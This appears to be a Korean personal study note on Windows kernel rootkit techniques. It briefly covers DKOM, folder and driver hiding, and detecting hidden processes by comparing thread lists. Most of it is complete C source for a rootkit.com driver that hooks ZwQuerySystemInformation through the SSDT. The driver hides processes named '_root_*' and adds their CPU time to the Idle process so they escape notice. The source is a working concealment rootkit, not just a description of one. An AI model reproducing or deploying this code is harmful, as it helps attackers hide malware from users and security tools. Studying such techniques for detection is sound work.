지나간 삶

- EnumProcess() 는 Tool Help API 이고 결국엔 ZwQuerySystemInfomation 를 호출한다.

- 모든 프로세스는 커널레벨에서 EPROCESS가 링크드리스트로 연결되어 있다.

- InitSystemProcess 링크드리스트의 연결을 임의적으로 바꾼다
(DKOM : Direct Kernel Object Manipulation ) 이라고 부른다.

- EPROCESS 링크드 리스트를 임의로 수정해도 스레드리스트에 있다면 작동은 한다. 스레드리스트와 링크드리스트를 비교해서 숨겨놓은 프로세스를 찾아 낼 수 있다.( ....)

- ZwQueryDirectory() 후킹하면 폴더를 감출 수 있습니다.
- Driver 또한 Hide 할 수 있다.(....)

- 소스는 rootkit 에서 참고.

#include "ntddk.h"

#pragma pack(1)
typedef struct ServiceDescriptorEntry {
        unsigned int *ServiceTableBase;
        unsigned int *ServiceCounterTableBase; //Used only in checked build
        unsigned int NumberOfServices;
        unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()

__declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
#define SYSTEMSERVICE(_function) \
         KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]


PMDL  g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
#define HOOK_SYSCALL(_Function, _Hook, _Orig )  \
       _Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)

#define UNHOOK_SYSCALL(_Function, _Hook, _Orig )  \
       InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)


struct _SYSTEM_THREADS
{
        LARGE_INTEGER           KernelTime;
        LARGE_INTEGER           UserTime;
        LARGE_INTEGER           CreateTime;
        ULONG                           WaitTime;
        PVOID                           StartAddress;
        CLIENT_ID                       ClientIs;
        KPRIORITY                       Priority;
        KPRIORITY                       BasePriority;
        ULONG                           ContextSwitchCount;
        ULONG                           ThreadState;
        KWAIT_REASON            WaitReason;
};

struct _SYSTEM_PROCESSES
{
        ULONG                           NextEntryDelta;
        ULONG                           ThreadCount;
        ULONG                           Reserved[6];
        LARGE_INTEGER           CreateTime;
        LARGE_INTEGER           UserTime;
        LARGE_INTEGER           KernelTime;
        UNICODE_STRING          ProcessName;
        KPRIORITY                       BasePriority;
        ULONG                           ProcessId;
        ULONG                           InheritedFromProcessId;
        ULONG                           HandleCount;
        ULONG                           Reserved2[2];
        VM_COUNTERS                     VmCounters;
        IO_COUNTERS                     IoCounters; //windows 2000 only
        struct _SYSTEM_THREADS          Threads[1];
};

// Added by Creative of rootkit.com
struct _SYSTEM_PROCESSOR_TIMES
{
        LARGE_INTEGER                    IdleTime;
        LARGE_INTEGER                    KernelTime;
        LARGE_INTEGER                    UserTime;
        LARGE_INTEGER                    DpcTime;
        LARGE_INTEGER                    InterruptTime;
        ULONG                            InterruptCount;
};


NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(
            IN ULONG SystemInformationClass,
                        IN PVOID SystemInformation,
                        IN ULONG SystemInformationLength,
                        OUT PULONG ReturnLength);


typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
            ULONG SystemInformationCLass,
                        PVOID SystemInformation,
                        ULONG SystemInformationLength,
                        PULONG ReturnLength
);

ZWQUERYSYSTEMINFORMATION        OldZwQuerySystemInformation;

// Added by Creative of rootkit.com
LARGE_INTEGER                    m_UserTime;
LARGE_INTEGER                    m_KernelTime;

///////////////////////////////////////////////////////////////////////
// NewZwQuerySystemInformation function
//
// ZwQuerySystemInformation() returns a linked list of processes.
// The function below imitates it, except it removes from the list any
// process who's name begins with "_root_".

NTSTATUS NewZwQuerySystemInformation(
            IN ULONG SystemInformationClass,    // 얻고 싶은 정보의 종류( 5이면 프로세스 관련 )
            IN PVOID SystemInformation,
            IN ULONG SystemInformationLength,
            OUT PULONG ReturnLength)
{

   NTSTATUS ntStatus;

   // 원래의 커널 함수를 먼저 호출해서 프로세스의 정보를 버퍼에 담아온다.
   ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
                    SystemInformationClass,
                    SystemInformation,
                    SystemInformationLength,
                    ReturnLength );

   if( NT_SUCCESS(ntStatus))
   {
      // Asking for a file and directory listing
      if(SystemInformationClass == 5)    // 프로세스 정보를 꺼내고 있다면...
      {
         // This is a query for the process list.
         // Look for process names that start with
         // '_root_' and filter them out.
                   
         struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
         struct _SYSTEM_PROCESSES *prev = NULL;
        
         while(curr)
         {
            //DbgPrint("Current item is %x\n", curr);
            if (curr->ProcessName.Buffer != NULL)
            {
                if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12))
                {
                    m_UserTime.QuadPart += curr->UserTime.QuadPart;
                    m_KernelTime.QuadPart += curr->KernelTime.QuadPart;

                    if(prev) // Middle or Last entry
                    {
                        if(curr->NextEntryDelta)
                            prev->NextEntryDelta += curr->NextEntryDelta;
                        else    // we are last, so make prev the end
                            prev->NextEntryDelta = 0;
                    }
                    else
                    {
                        if(curr->NextEntryDelta)
                        {
                            // we are first in the list, so move it forward
                            (char *)SystemInformation += curr->NextEntryDelta;
                        }
                        else // we are the only process!
                            SystemInformation = NULL;
                    }
                }
            }
            else // This is the entry for the Idle process
            {
               // Add the kernel and user times of _root_*
               // processes to the Idle process.
               curr->UserTime.QuadPart += m_UserTime.QuadPart;
               curr->KernelTime.QuadPart += m_KernelTime.QuadPart;

               // Reset the timers for next time we filter
               m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
            }
            prev = curr;
            if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
            else curr = NULL;
         }
      }
      else if (SystemInformationClass == 8) // Query for SystemProcessorTimes
      {
         struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
         times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;
      }

   }
   return ntStatus;
}


VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
   DbgPrint("ROOTKIT: OnUnload called\n");

   // unhook system calls
   UNHOOK_SYSCALL( ZwQuerySystemInformation, OldZwQuerySystemInformation, NewZwQuerySystemInformation );

   // Unlock and Free MDL
   if(g_pmdlSystemCall)
   {
      MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
      IoFreeMdl(g_pmdlSystemCall);
   }
}


NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,
                     IN PUNICODE_STRING theRegistryPath)
{
   // Register a dispatch function for Unload
   theDriverObject->DriverUnload  = OnUnload;

   // Initialize global times to zero
   // These variables will account for the
   // missing time our hidden processes are
   // using.
   m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;

   // save old system call locations
   OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));

   // Map the memory into our domain so we can change the permissions on the MDL
   g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);
   if(!g_pmdlSystemCall)
      return STATUS_UNSUCCESSFUL;

   MmBuildMdlForNonPagedPool(g_pmdlSystemCall);

   // Change the flags of the MDL
   g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;

   MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);

   // hook system calls
   HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySystemInformation, OldZwQuerySystemInformation );
                             
   return STATUS_SUCCESS;
}